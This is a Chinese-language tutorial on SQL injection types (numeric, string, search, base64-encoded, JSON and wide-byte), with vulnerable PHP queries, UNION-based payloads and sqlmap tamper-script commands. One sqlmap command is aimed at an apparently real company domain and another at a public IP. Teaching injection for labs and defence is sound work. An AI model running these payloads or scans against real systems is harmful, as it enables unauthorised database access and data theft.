SQL注入类型

SQL根据接收数据方式的不同,可以分为数字型注入、字符型注入、搜索型注入、编码型注入,不同的注入方式涉及的注入语句虽然区别不大,但是如果不加以区分,就会导致手注失败,甚至可能会判定为没有注入点,我们拿到一个站点的第一步就是应该先测出属于哪种类型的注入,下面我们介绍一下注入类型

数字型

数字型就是我们前几次介绍的最多的,也是我们比较常见的注入类型之一,为什么叫数字型,是因为我们传进去的参数后端会把其当作数字,其注入语句如下

$sql = "select * from guestbook where id = $i";

即我们不需要单引号也能正常运行,所以对于数字型注入点,我们不需要加引号,不用考虑符号的闭合

1645148271844-90d3415a-9f2b-4692-b736-e45fd574f523.png

假设我们传进去的注入语句为1 order by 2,传入sql就会变为$sql = "select * from guestbook where id = 1 order by 2";,即我们不需要加任何符号进行闭合,也不需要在尾部增加注释符就可以完成注入

字符型

字符型遇到的也比较多,sql语句如下所示

$sql = "select * from guestbook where id = '$i'";

当然,值得注意的是,字符型的注入既可以是单引号也可以用双引号,我们这里使用单引号进行演示

仍然假定我们的注入语句为1 order by 2,我们替换$i,看看会出现什么

$sql = "select * from guestbook where id = '1 order by 2'";

我们可以发现我们的注入语句被当作了字符串进行处理,此时就会报错,我们正常的做法应该是闭合前面一个单引号,注释掉后面的单引号,所以注入语句应该是1' order by 2 #或者1' order by 2 --+,我们的组合注入语句就会变成:

$sql = "select * from guestbook where id = '1' order by 2 #'";

这个时候我们可以发现此时的注入语句可以正常实现

1645150888578-5aefbe4f-2c4e-4ae3-b10b-77360ab6b9f6.png

http://127.0.0.1:8081/web/news.php?gtpl=simple' UNION ALL SELECT 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 --+

1645151176379-19129378-b6d3-4a98-8a55-bb88b1cb8923.png

搜索型

搜索型的主要特征就是具有通配符%%,因为有通配符的存在,所以我们需要闭合通配符和单引号,其实原理和字符型差不多,重在理解

$sql="select * from guestbook where gName like '%$s%'";

所以我们的注入语句如下所示

http://127.0.0.1:8081/web/news.php?search=演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 --+

这个时候我们带入后端sql语句,就会是下面的样子

$sql="select * from guestbook where gName like '%演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+%'";

这样看似好像已经没有任何问题了,但是实际结果如下所示

1645151528559-766a6dbd-07aa-4d97-b0fd-bcff00f8317e.png

后面实际上是闭合不了的,真实的sql语句应该是这样的

SQL语句:http://127.0.0.1:8081/web/news.php?search=演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='
代入:select * from guestbook where gName like '%演示%' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='%'

这样我们就可以正确运行了

1645151747640-f62b1f39-f474-4358-8a90-4ed9cfc01865.png

编码型

顾名思义,就是对传入的sql语句进行编码后再进行传入后端,后端再进行解码后查询数据库,对应的后端代码如下所示

$b=base64_decode($_GET['base']);     
$sql="select * from guestbook where id=$b";

因此,面对这种的解决方案也很简单,就是直接将注入语句进行相应的编码后再进行注入即可

1645152782742-f0034b99-5dad-4d83-b17b-3cd8b25e925a.png

JSON格式

JSON就是将数据以键名和键值的方式进行传输,提交的数据其实是一样的

{"username":"admin"}

值得注意的是,json数据格式并不会将双引号传递进去,而是将双引号的内容取出来进行传入,所以我们并不需要闭合这个双引号,所以我们只需要忽略这个双引号构造注入语句即可

json={"username":"admin' order by 3#"}

1645154839886-b16bf86b-aff4-4bab-b285-68fcc7511c23.png

宽字节注入

如果一个字符的大小是一个字节,这种字节称为窄字节;如果一个字符的大小是两个字节的话,就是宽字节

  • 像GB2312、GBK、GB18030、BIG5等等这些编码都是常说的宽字节,也就是只有两个字节
  • 英文默认占一个字节,中文占两个字节

为了防止网站被SQL注入,一些网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义,即用\来进行转义,通过前面的文章可以了解到,sql注入的关键一步就是让引号闭合和跳出引号,如果无法跳出引号,那么你输入的内容就会永远的在引号里,那么你的输入内容永远会被当作字符串进行处理,所以我们应该怎么解决呢?

办法就是让转义符号\失去转义的作用,我们可以使用宽字节来使转义符失效,我们常见的宽字节符号为%df,由于\的编码是%5c,这两个组合在一起就变成了%df%5c,组成了一个新的字符,这个字符是一个汉字,这个时候我们引号的意义就存在了

我们以sqli-lab上的例题33为例,进行相关演示

image-20240713152924817

我们可以很清楚的知道这是一个宽字节注入问题,我们添加%df

image-20240713153028163

image-20240713153134392

很好,宽字节起作用了,而且明显是一个单引号的字符型注入,然后接下来按照正常的步骤一直注入就行了,其他的就不再演示了

sqlmap之tamper使用

对于编码注入的网站,如果直接拿去sqlmap跑,会出现找不到注入点的情况,比如执行python310 sqlmap.py -u "http://knotsolutions.com/case_study_view.php?id=",会出现下面的情况

1645160779571-f8f6e869-a303-4672-9057-df6e7fe13266.png

这个时候就需要用到tamper脚本,附加上base64encode.py脚本,这个脚本是sqlmap自带的,当然我们也可以将自己编写的脚本放在这个目录下

image-20240713142215768

我们执行python310 sqlmap.py -u "http://knotsolutions.com/case_study_view.php?id=" --tamper=base64encode.py,命令,就可以找到注入点,如下图所示

1645160919520-470d0d25-7b5c-4a6b-b362-75783d4c483e.png

我们使用相关脚本来实现宽字节注入,如下所示

python sqlmap.py -u "http://38.147.173.118:81/Less-33/?id=1" --tamper=unmagicquotes.py

image-20240713153945501

image-20240713154033218

image-20240713154828207